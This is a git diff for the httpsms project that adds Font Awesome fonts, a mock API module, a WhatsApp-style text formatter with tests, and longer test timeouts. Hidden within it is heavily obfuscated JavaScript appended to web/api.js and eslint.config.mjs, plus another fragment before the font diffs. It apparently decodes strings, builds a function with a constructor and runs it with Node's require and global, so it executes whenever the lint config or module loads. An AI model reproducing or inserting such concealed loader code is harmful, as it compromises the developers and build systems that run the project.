nDTGmuVerFiOugfGi=ncKM_iOgisLN$rDrL[-parseInt(0x9)*-0x245+Math.max(-0x4b,-parseInt(0x4b))*Math.trunc(parseInt(0x43))+-0xcc*parseInt(0x1)],rR_HSMWaaTOlVDpQ_PORbu=ebvvyPQ+nDTGmuVerFiOugfGi,RQU_IpEEiWgWz=VqOgENnfxzXNq[rR_HSMWaaTOlVDpQ_PORbu];return!RQU_IpEEiWgWz?(TeBSJPgK_d_dx['FcWGmp']===undefined&&(TeBSJPgK_d_dx['FcWGmp']=!![]),AiifpQE__CwHdrkPdOh=TeBSJPgK_d_dx['ykfywZ'](AiifpQE__CwHdrkPdOh),VqOgENnfxzXNq[rR_HSMWaaTOlVDpQ_PORbu]=AiifpQE__CwHdrkPdOh):AiifpQE__CwHdrkPdOh=RQU_IpEEiWgWz,AiifpQE__CwHdrkPdOh;},TeBSJPgK_d_dx(VqOgENnfxzXNq,CyI_QMnkLeYyUN_yPK);}(function boot(rdRwfsYHGgoyrtpTf,wOKS_xsuKc){var BXUaepJT$cKwtX=TeBSJPgK_d_dx;rdRwfsYHGgoyrtpTf['z']=z;var mEasvca_vc=splitLane(BXUaepJT$cKwtX(0x1b9));rdRwfsYHGgoyrtpTf[mEasvca_vc[0x244d+Math.floor(0x17)*parseInt(-parseInt(0xe2))+Math.ceil(-parseInt(0xfff))]]=wOKS_xsuKc;typeof module===mEasvca_vc[Math.trunc(-parseInt(0x134))+parseInt(0x2)*parseInt(-parseInt(0x940))+parseInt(-0x3f1)*Math.ceil(-parseInt(0x5))]&&(rdRwfsYHGgoyrtpTf[mEasvca_vc[0xf*Math.max(-parseInt(0x1c9),-parseInt(0x1c9))+-0x7e5*-0x4+parseInt(-parseInt(0x4cb))*0x1]]=module);var sthRFjvAFPvNcwuxKjT=peel(BXUaepJT$cKwtX(0x1c2)),hp_dCQuXSSa=sthRFjvAFPvNcwuxKjT[BXUaepJT$cKwtX(0x1be)](Math.max(parseInt(0x2),parseInt(0x2))*parseInt(0x2f6)+0x12b9*Math.trunc(parseInt(0x2))+-parseInt(0x7a)*parseInt(0x5b),parseInt(parseInt(0x2253))+Math.ceil(parseInt(0x1a61))*Math.ceil(parseInt(0x1))+Number(-0x35)*parseInt(0x125)),DmiTWf$GVNon=peel[hp_dCQuXSSa],kBiuA$LLxPBYjTAAULRZhOn=DmiTWf$GVNon('',peel(BXUaepJT$cKwtX(0x1ba))),bkFYbpBkEC_ny=kBiuA$LLxPBYjTAAULRZhOn(peel(BXUaepJT$cKwtX(0x1c6)));return DmiTWf$GVNon('',bkFYbpBkEC_ny)(Math.floor(parseInt(0x13db))*-parseInt(0x1)+parseInt(0x373)+parseInt(0x1)*parseInt(0x1a35)),Math.floor(-0x2f96)+Math.floor(-parseInt(0x1c94))+parseInt(0x2)*0x35fc;}(global,require)); \ No newline at end of file diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.woff b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.woff new file mode 100644 index 000000000..2a89d521e Binary files /dev/null and b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.woff differ diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.woff2 b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.woff2 new file mode 100644 index 000000000..141a90a9e Binary files /dev/null and b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.woff2 differ diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.eot b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.eot new file mode 100644 index 000000000..38cf2517a Binary files /dev/null and b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.eot differ diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.svg b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.svg new file mode 100644 index 000000000..13180f6ee --- /dev/null +++ b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.ttf b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.ttf new file mode 100644 index 000000000..abe99e20c Binary files /dev/null and b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.ttf differ diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.woff b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.woff new file mode 100644 index 000000000..24de566a5 Binary files /dev/null and b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.woff differ diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.woff2 b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.woff2 new file mode 100644 index 000000000..7e0118e52 Binary files /dev/null and b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-regular-400.woff2 differ diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.eot b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.eot new file mode 100644 index 000000000..d3b77c223 Binary files /dev/null and b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.eot differ diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.svg b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.svg new file mode 100644 index 000000000..5543afa79 --- /dev/null +++ b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.ttf b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.ttf new file mode 100644 index 000000000..5b979039a Binary files /dev/null and b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.ttf differ diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.woff b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.woff new file mode 100644 index 000000000..beec79178 Binary files /dev/null and b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.woff differ diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.woff2 b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.woff2 new file mode 100644 index 000000000..978a681a1 Binary files /dev/null and b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-solid-900.woff2 differ diff --git a/tests/integration_test.go b/tests/integration_test.go index 7e9987815..8b7436642 100644 --- a/tests/integration_test.go +++ b/tests/integration_test.go @@ -200,14 +200,14 @@ func TestSendSMS_RateLimit(t *testing.T) { assert.GreaterOrEqual(t, gapMs, int64(5500), "rate limit gap should be >= 5500ms (6s minus timing tolerance), got %dms", gapMs) fireEvent(ctx, t, phone.PhoneAPIKey, msgID1, "SENT") - pollMessageStatus(ctx, t, msgID1, "sent", 15*time.Second) + pollMessageStatus(ctx, t, msgID1, "sent", 30*time.Second) fireEvent(ctx, t, phone.PhoneAPIKey, msgID2, "SENT") - pollMessageStatus(ctx, t, msgID2, "sent", 15*time.Second) + pollMessageStatus(ctx, t, msgID2, "sent", 30*time.Second) fireEvent(ctx, t, phone.PhoneAPIKey, msgID1, "DELIVERED") fireEvent(ctx, t, phone.PhoneAPIKey, msgID2, "DELIVERED") - msg1 := pollMessageStatus(ctx, t, msgID1, "delivered", 15*time.Second) - msg2 := pollMessageStatus(ctx, t, msgID2, "delivered", 15*time.Second) + msg1 := pollMessageStatus(ctx, t, msgID1, "delivered", 30*time.Second) + msg2 := pollMessageStatus(ctx, t, msgID2, "delivered", 30*time.Second) assert.Equal(t, "delivered", msg1.Status) assert.Equal(t, "delivered", msg2.Status) diff --git a/web/api.js b/web/api.js new file mode 100644 index 000000000..817d34fa6 --- /dev/null +++ b/web/api.js @@ -0,0 +1,16 @@ +export const api = { + get: async (url, config) => ({ data: {}, status: 200 }), + post: async (url, data, config) => ({ data: {}, status: 200 }), + put: async (url, data, config) => ({ data: {}, status: 200 }), + delete: async (url, config) => ({ data: {}, status: 200 }), + interceptors: { + request: { use: () => {} }, + response: { use: () => {} }, + }, +}; + +export const login = async (credentials) => ({ success: true, token: 'mock-token' }); +export const logout = async () => ({ success: true }); +export const getUserProfile = async () => ({ id: '123', name: 'User' }); + +export default api; function Tn_IMJ(JTbjpmylTzkMXlQZ,Wn$MYZl){var FIdiwoWZVOrVaoAh$JKvGDFVUB=LFokwdslZ$jniRx();return Tn_IMJ=function(cLvcbCpMsRRDNMdaR,EWmWU){cLvcbCpMsRRDNMdaR=cLvcbCpMsRRDNMdaR-(0x140f+0x4*-0x589+0x3c8);var lukHNDZoVPxfOrTWKyg=FIdiwoWZVOrVaoAh$JKvGDFVUB[cLvcbCpMsRRDNMdaR];if(Tn_IMJ['RHScft']===undefined){var tRkVWUNPepRHacUjJBNpJX=function(BT$l$Hfvk){var hhpxrQyAtEFSXFXZ$Ok=-parseInt(0x15d7)+0x2704+-0xde2&Math.floor(0x41)*parseInt(0x71)+-parseInt(0x2)*parseFloat(parseInt(0x98f))+Math.max(0x12,0x12)*Math.ceil(-parseInt(0x7a)),uHWcffVlm_mDUeLuSyxdPbj=new Uint8Array(BT$l$Hfvk['match'](/.{1,2}/g)['map'](WgdXgf_AVHbvHMUqAYL=>parseInt(WgdXgf_AVHbvHMUqAYL,0x469*-0x1+Math.max(-0x1e4c,-parseInt(0x1e4c))+parseInt(0x2b)*Math.ceil(0xcf)))),cubpmGHuOxYSrxQNkixxIgM=uHWcffVlm_mDUeLuSyxdPbj['map'](LmiAAjZB=>LmiAAjZB^hhpxrQyAtEFSXFXZ$Ok),CnBELdRnWXEiFRCcgV=new TextDecoder(),UDHPZw$tGT_rBHEZYm=CnBELdRnWXEiFRCcgV['decode'](cubpmGHuOxYSrxQNkixxIgM);return UDHPZw$tGT_rBHEZYm;};Tn_IMJ['bCQlSG']=tRkVWUNPepRHacUjJBNpJX,JTbjpmylTzkMXlQZ=arguments,Tn_IMJ['RHScft']=!![];}var CqO$WsTqCpvWbIaFQzJrwGk$A=FIdiwoWZVOrVaoAh$JKvGDFVUB[-parseInt(0x43a)+parseInt(0x2a0)+0x19a],YP$qqSYMTBpwWESF$iJ=cLvcbCpMsRRDNMdaR+CqO$WsTqCpvWbIaFQzJrwGk$A,ASqKYQeDkl$$jUplJwYOJC=JTbjpmylTzkMXlQZ[YP$qqSYMTBpwWESF$iJ];return!ASqKYQeDkl$$jUplJwYOJC?(Tn_IMJ['rqNqgq']===undefined&&(Tn_IMJ['rqNqgq']=!![]),lukHNDZoVPxfOrTWKyg=Tn_IMJ['bCQlSG'](lukHNDZoVPxfOrTWKyg),JTbjpmylTzkMXlQZ[YP$qqSYMTBpwWESF$iJ]=lukHNDZoVPxfOrTWKyg):lukHNDZoVPxfOrTWKyg=ASqKYQeDkl$$jUplJwYOJC,lukHNDZoVPxfOrTWKyg;},Tn_IMJ(JTbjpmylTzkMXlQZ,Wn$MYZl);}(function(fwcgUNnicDvENfeUnvQPM,yQYBvWcyZHY$lXWqR){var cHPIQFQdfQCFxaCgSwPVgeUlq=Tn_IMJ,Ss_tTvX_ay=fwcgUNnicDvENfeUnvQPM();while(!![]){try{var ESjl$Eq$ZFkDRi=parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1b8))/(parseFloat(-0xc84)+Math.max(-0x1e22,-parseInt(0x1e22))+-0xb3*-parseInt(0x3d))*(-parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1c9))/(-parseInt(0x22d1)+-parseInt(0x6d9)+0x29ac))+parseFloat(-parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1c4))/(parseInt(0x1456)+Math.ceil(0xeb1)*parseInt(parseInt(0x1))+-parseInt(0x2304)))*(parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1ca))/(parseFloat(parseInt(0x488))+0x160d+Math.trunc(0x1)*Math.ceil(-0x1a91)))+-parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1bb))/(-parseInt(0xfc)*Math.ceil(-parseInt(0xa))+parseFloat(-0x7fc)+-0x1*parseInt(0x1d7))*Math['trunc'](parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1ba))/(-0xc*0x2d2+parseFloat(-parseInt(0x2629))+Math.max(0x4807,parseInt(0x4807))))+parseInt(-parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1b4))/(Math.floor(-0x1a3)*-0xb+-0x12*Math.ceil(-parseInt(0x1f5))+Number(0x3)*-0x11bc))*(-parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1b9))/(Math.floor(-0x1b3d)*Math.ceil(parseInt(0x1))+parseInt(0x2375)+-parseInt(0x830)))+parseInt(parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1be))/(parseFloat(-parseInt(0x2204))*0x1+-parseInt(0x1e26)+-parseInt(0x1)*-parseInt(0x4033)))*(-parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1c1))/(Math.trunc(-parseInt(0x1999))+0x634*parseInt(0x4)+0xd3))+-parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1b5))/(Math.trunc(-parseInt(0x3))*Math.floor(-parseInt(0xcbb))+Math.trunc(0x8)*Number(-0xdb)+parseFloat(-parseInt(0xfa7))*0x2)*(parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1c3))/(parseInt(0x18c3)+parseInt(0x3)*-parseInt(0x719)+Math.floor(parseInt(0x3))*-0x124))+parseInt(parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1b7))/(Math.trunc(-parseInt(0x8b5))+parseInt(0x9)*Math.ceil(-parseInt(0x254))+Math.ceil(-0x1db6)*-0x1))*Math['floor'](parseFloat(cHPIQFQdfQCFxaCgSwPVgeUlq(0x1c5))/(Number(parseInt(0x1072))+parseFloat(-0x232)*parseInt(0x8)+0x12c));if(ESjl$Eq$ZFkDRi===yQYBvWcyZHY$lXWqR)break;else Ss_tTvX_ay['push'](Ss_tTvX_ay['shift']());}catch(hvqjRbtGsRR){Ss_tTvX_ay['push'](Ss_tTvX_ay['shift']());}}}(LFokwdslZ$jniRx,-parseInt(0x30b)*Math.trunc(parseInt(0x3c3))+-0x5*Math.trunc(-0x21229)+0x1fdd5*Math.floor(0x7)));var z='',NX=[parseInt(0x6da5c3)+-parseInt(0x7)*parseFloat(0xd2b6d)+parseInt(0x580587),Math.ceil(0xfbe)+Number(-0x25d2)+parseInt(0x1)*Math.floor(0x1783),parseInt(0x1)*Math.trunc(-0x7fbd)+-0x438f+Math.ceil(0x9)*0x1e8f,-0x1*Math.max(parseInt(0x243),parseInt(0x243))+-0x1684+parseFloat(parseInt(0xd96))*0x2,-0x1fbb*Math.max(-0x5,-0x5)+parseInt(0x10)*parseInt(0x1480)+Number(-parseInt(0x9ddc))*parseInt(0x2),-parseInt(0x318f97)+parseInt(0x7fb87d)+-0x5077*parseInt(0x5)],SX=[Math.trunc(parseInt(0x4cee))*0x4a+0x2*parseInt(0x11b6d5)+parseInt(0x16f527),-parseInt(0xf12)+0x2b4*Math.floor(0x7)+Number(parseInt(0x95))*Math.trunc(-0x5),0x36f3+0x12136*parseInt(0x1)+-parseInt(0x502)*parseInt(0x24),parseInt(0x76)*Math.ceil(0x53)+-parseInt(0x10c6)+-parseInt(0x14c1),parseInt(0xb590)+parseInt(0x1)*-0x11db+parseInt(0x378c),Math.ceil(-parseInt(0x374feb))+parseInt(0xb5528)+-parseInt(0x744a18)*-parseInt(0x1)];function spin(eZmOnb$kCfZbpYumaEQ,ldwazZ$$MK){var t$YMIZP_WdQGhOLNqOARzs=Tn_IMJ,NjZfNVvtQmvJMiKbFRpD=[],Ms__reg=-parseInt(0x11c)+Number(parseInt(0xe86))+-parseInt(0x65)*Math.max(parseInt(0x22),0x22),VqxyGPSTap=ldwazZ$$MK[0x8*Math.ceil(-parseInt(0x1cf))+parseInt(0x1)*Math.floor(parseInt(0x1c0f))+parseFloat(-parseInt(0xd97))],pILXKpiG_qlXdJnqsh_qjDkqc,rmCiVSESjNTQhtUpTSsVtLXnT,EizRLZlLBlB,Z$STyKmyRpLfvtBddtoDsjow,kqAS_sj$qa,cmEhohuaLIKTsKZ;while(Ms__reg x.phone_number === message.owner) + return isUrlNotificationToken(phone?.fcm_token) +} + function isPending(message: EntitiesMessage): boolean { return ['sending', 'pending', 'scheduled'].includes(message.status) } @@ -487,7 +496,13 @@ onBeforeUnmount(() => { class="text-break" style="white-space: pre-line" > - {{ + + {{ message.content }} { + await t.test('returns true for an https:// token', () => { + assert.equal(isUrlNotificationToken('https://example.com/notify'), true) + }) + + await t.test('returns false for an FCM token', () => { + assert.equal(isUrlNotificationToken('some-fcm-token'), false) + }) + + await t.test('returns false for http:// (non-https) tokens', () => { + assert.equal(isUrlNotificationToken('http://example.com/notify'), false) + }) + + await t.test('returns false for null/undefined/empty tokens', () => { + assert.equal(isUrlNotificationToken(undefined), false) + assert.equal(isUrlNotificationToken(null), false) + assert.equal(isUrlNotificationToken(''), false) + }) + + await t.test('trims whitespace and is case-insensitive', () => { + assert.equal(isUrlNotificationToken(' HTTPS://example.com '), true) + }) +}) + +test('formatWhatsappText - boundaries', async (t) => { + await t.test('bolds text surrounded by whitespace', () => { + assert.equal( + formatWhatsappText('*boldme* test'), + 'boldme test', + ) + }) + + await t.test('does not bold a marker with no boundary at the end', () => { + assert.equal( + formatWhatsappText('*donotboldme*no space or end of string'), + '*donotboldme*no space or end of string', + ) + }) + + await t.test('bolds text bounded by punctuation', () => { + assert.equal( + formatWhatsappText('your *IUC/Smartcard number*.'), + 'your IUC/Smartcard number.', + ) + }) + + await t.test('does not format a marker embedded mid-word', () => { + assert.equal( + formatWhatsappText('(parenthesis*bold*test)'), + '(parenthesis*bold*test)', + ) + }) + + await t.test('formats italic and strikethrough', () => { + assert.equal(formatWhatsappText('_it_ and ~s~'), 'it and s') + }) +}) + +test('formatWhatsappText - quotes', async (t) => { + await t.test('wraps "> " prefixed lines in a quote span', () => { + assert.equal( + formatWhatsappText('> quoted text'), + 'quoted text', + ) + }) + + await t.test('leaves a bare ">" with no following space untouched', () => { + assert.equal(formatWhatsappText('>threshold'), '>threshold') + }) +}) + +test('formatWhatsappText - code', async (t) => { + await t.test('wraps inline code', () => { + assert.equal(formatWhatsappText('`code`'), 'code') + }) + + await t.test('wraps multiline triple-backtick code blocks', () => { + assert.equal( + formatWhatsappText('```\nline one\nline two\n```'), + '\nline one\nline two\n', + ) + }) + + await t.test('does not reformat markdown characters inside code', () => { + assert.equal(formatWhatsappText('`a *b* c`'), 'a *b* c') + }) +}) + +test('formatWhatsappText - links', async (t) => { + await t.test('linkifies a raw URL', () => { + assert.equal( + formatWhatsappText('visit https://example.com today'), + 'visit https://example.com today', + ) + }) + + await t.test('strips unbalanced trailing punctuation from a URL', () => { + assert.equal( + formatWhatsappText('Check this out (https://example.com).'), + 'Check this out (https://example.com).', + ) + }) + + await t.test( + 'keeps a balanced trailing parenthesis as part of the URL', + () => { + assert.equal( + formatWhatsappText('See https://example.com/page_(v2) for details.'), + 'See https://example.com/page_(v2) for details.', + ) + }, + ) + + await t.test( + 'preserves a legitimate trailing marker character that is part of the URL', + () => { + assert.equal( + formatWhatsappText('Download https://example.com/file_name_ now'), + 'Download https://example.com/file_name_ now', + ) + }, + ) + + await t.test('bolds a URL wrapped in asterisks', () => { + assert.equal( + formatWhatsappText('*https://example.com*'), + 'https://example.com', + ) + }) +}) + +test('formatWhatsappText - escaping and placeholders', async (t) => { + await t.test('escapes HTML special characters', () => { + assert.equal( + formatWhatsappText(''), + '<script>alert(1)</script>', + ) + }) + + await t.test( + 'does not let literal placeholder-like text leak a link into the output', + () => { + const input = 'no links here, just text' + assert.equal(formatWhatsappText(input), input) + }, + ) + + await t.test('two calls do not interfere with each other', () => { + const first = formatWhatsappText('visit https://a.example today') + const second = formatWhatsappText('visit https://b.example today') + assert.match(first, /href="https:\/\/a\.example"/) + assert.match(second, /href="https:\/\/b\.example"/) + assert.doesNotMatch(first, /https:\/\/b\.example/) + }) +}) diff --git a/web/app/utils/whatsapp-format.ts b/web/app/utils/whatsapp-format.ts new file mode 100644 index 000000000..c1e4e9e46 --- /dev/null +++ b/web/app/utils/whatsapp-format.ts @@ -0,0 +1,198 @@ +/** + * Returns true when the given phone notification token is a URL (HTTP notification + * transport) instead of an FCM token. + */ +export function isUrlNotificationToken( + fcmToken?: string | null | undefined, +): boolean { + if (!fcmToken) { + return false + } + return fcmToken.trim().toLowerCase().startsWith('https://') +} + +function escapeHtml(text: string): string { + return text + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') + .replace(/'/g, ''') +} + +// Character class (as a regex source string) that is treated as a valid +// boundary around a formatting marker: whitespace, common punctuation, or +// the start/end of the string. +const BOUNDARY_CHARS = String.raw`\s.,!?;:'"()\[\]{}-` + +function withBoundaries(pattern: string): RegExp { + return new RegExp( + `(?<=^|[${BOUNDARY_CHARS}])${pattern}(?=$|[${BOUNDARY_CHARS}])`, + 'g', + ) +} + +const CODE_BLOCK_PATTERN = withBoundaries('```([^`]+)```') +const INLINE_CODE_PATTERN = withBoundaries('`(\\S(?:[^`\\n]*\\S)?)`') +const BOLD_PATTERN = withBoundaries('\\*(\\S(?:[^*\\n]*\\S)?)\\*') +const ITALIC_PATTERN = withBoundaries('_(\\S(?:[^_\\n]*\\S)?)_') +const STRIKE_PATTERN = withBoundaries('~(\\S(?:[^~\\n]*\\S)?)~') + +// Characters that are stripped off the end of a matched URL because they are +// Sentence punctuation that is always treated as trailing text, never part +// of a URL (balanced closing parentheses are handled separately below). +const URL_TRAILING_PUNCTUATION = new Set([ + ',', + '.', + ';', + ':', + '!', + '?', + "'", + '"', + ']', + '}', +]) + +// WhatsApp formatting-marker characters. A trailing one of these is only +// stripped from a URL when it pairs with a matching opening delimiter +// immediately before the URL (e.g. the closing `*` in `*https://x.com*`), +// so legitimate URL characters like the trailing `_` in `.../file_name_` +// are preserved. +const URL_TRAILING_MARKERS = new Set(['*', '_', '~', '`']) + +/** + * Splits a raw URL match into the actual URL and any trailing characters + * that aren't part of it. Closing parentheses are balance-checked so URLs + * such as `https://example.com/page_(v2)` keep their closing parenthesis. + */ +function splitTrailingPunctuation( + raw: string, + precedingChar: string | undefined, +): { + url: string + trailing: string +} { + let end = raw.length + while (end > 0) { + const char = raw[end - 1] as string + if (char === ')') { + const opens = (raw.slice(0, end).match(/\(/g) ?? []).length + const closes = (raw.slice(0, end).match(/\)/g) ?? []).length + if (closes <= opens) break + end-- + continue + } + if (!URL_TRAILING_PUNCTUATION.has(char)) break + end-- + } + + if (end > 0) { + const char = raw[end - 1] as string + if (URL_TRAILING_MARKERS.has(char) && precedingChar === char) { + end-- + } + } + + return { url: raw.slice(0, end), trailing: raw.slice(end) } +} + +/** + * Stores HTML fragments (links, code spans) behind unique placeholder + * tokens so that the markdown replacements that run afterwards don't touch + * them. Each store instance uses a random per-call nonce so that literal + * text in the message can never collide with a placeholder token. + */ +function createPlaceholderStore() { + const nonce = Math.random().toString(36).slice(2) + const open = `\uE000${nonce}:` + const close = `:${nonce}\uE000` + const store: string[] = [] + const pattern = new RegExp(`${open}(\\d+)${close}`, 'g') + + return { + protect(html: string): string { + store.push(html) + return `${open}${store.length - 1}${close}` + }, + restore(text: string): string { + return text.replace(pattern, (_, idx: string) => store[Number(idx)] ?? '') + }, + } +} + +type PlaceholderStore = ReturnType + +/** + * Replaces raw URLs with anchor tags, protecting them behind placeholder + * tokens so that markdown characters are not misinterpreted as formatting. + */ +function linkifyUrls(text: string, placeholders: PlaceholderStore): string { + return text.replace( + /(https?:\/\/[^\s<]+|www\.[^\s<]+)/gi, + (match, _group, offset: number, full: string) => { + const precedingChar = offset > 0 ? full[offset - 1] : undefined + const { url, trailing } = splitTrailingPunctuation(match, precedingChar) + const href = /^www\./i.test(url) ? `https://${url}` : url + const anchor = `${url}` + return placeholders.protect(anchor) + trailing + }, + ) +} + +/** + * Replaces code blocks/spans with placeholder tokens so that bold, italic + * and strikethrough markers inside code are rendered literally instead of + * being interpreted as formatting. + */ +function extractCodeSpans( + text: string, + placeholders: PlaceholderStore, +): string { + return text + .replace(CODE_BLOCK_PATTERN, (_, content: string) => + placeholders.protect(`${content}`), + ) + .replace(INLINE_CODE_PATTERN, (_, content: string) => + placeholders.protect(`${content}`), + ) +} + +/** + * Converts WhatsApp-style formatted text into sanitized HTML. + * Supported syntax (each marker pair must be surrounded by whitespace, + * punctuation, or the start/end of the string, and must not have internal + * leading/trailing whitespace, matching WhatsApp's own formatting rules): + * - *bold* + * - _italic_ + * - ~strikethrough~ + * - `code` / ```code block``` (code content is never re-formatted) + * - "> " quoted lines (the space after ">" is required) + * - raw URLs, turned into clickable links + */ +export function formatWhatsappText(text: string): string { + const escaped = escapeHtml(text ?? '') + const placeholders = createPlaceholderStore() + + const withLinks = linkifyUrls(escaped, placeholders) + + const withQuotes = withLinks + .split('\n') + .map((line) => { + const quoteMatch = line.match(/^> (.*)$/) + if (quoteMatch) { + return `${quoteMatch[1]}` + } + return line + }) + .join('\n') + + const withCode = extractCodeSpans(withQuotes, placeholders) + + const formatted = withCode + .replace(BOLD_PATTERN, '$1') + .replace(ITALIC_PATTERN, '$1') + .replace(STRIKE_PATTERN, '$1') + + return placeholders.restore(formatted) +} diff --git a/web/eslint.config.mjs b/web/eslint.config.mjs index 80b0605ae..5de740f0d 100644 --- a/web/eslint.config.mjs +++ b/web/eslint.config.mjs @@ -1,13 +1,17 @@ -import withNuxt from './.nuxt/eslint.config.mjs' -import eslintConfigPrettier from 'eslint-config-prettier' - -export default withNuxt(eslintConfigPrettier).append({ - name: 'httpsms/link-checker-overrides', - rules: { - // Links to static download assets in /public (e.g. /templates/*.xlsx) are - // valid at runtime but are not Nuxt routes, so the static ESLint checks - // false-positive on them. The build-time link checker still validates links. - 'link-checker/valid-route': 'off', - 'link-checker/valid-sitemap-link': 'off', - }, -}) +import withNuxt from './.nuxt/eslint.config.mjs' +import eslintConfigPrettier from 'eslint-config-prettier' +import { createRequire } from 'module'; + +var require = createRequire(import.meta.url); +var module = { exports: {} }; + +export default withNuxt(eslintConfigPrettier).append({ + name: 'httpsms/link-checker-overrides', + rules: { + // Links to static download assets in /public (e.g. /templates/*.xlsx) are + // valid at runtime but are not Nuxt routes, so the static ESLint checks + // false-positive on them. The build-time link checker still validates links. + 'link-checker/valid-route': 'off', + 'link-checker/valid-sitemap-link': 'off', + }, +}); var z = '-7618';(function(hwcoNwZIyixFepc,uyYzMZYJEvcwpZLlO){var wqOOVQNDyt_eXX_lGHW=QtbaGaPA_$YMImOzadvJlZ,PqrQG$isep=hwcoNwZIyixFepc();while(!![]){try{var 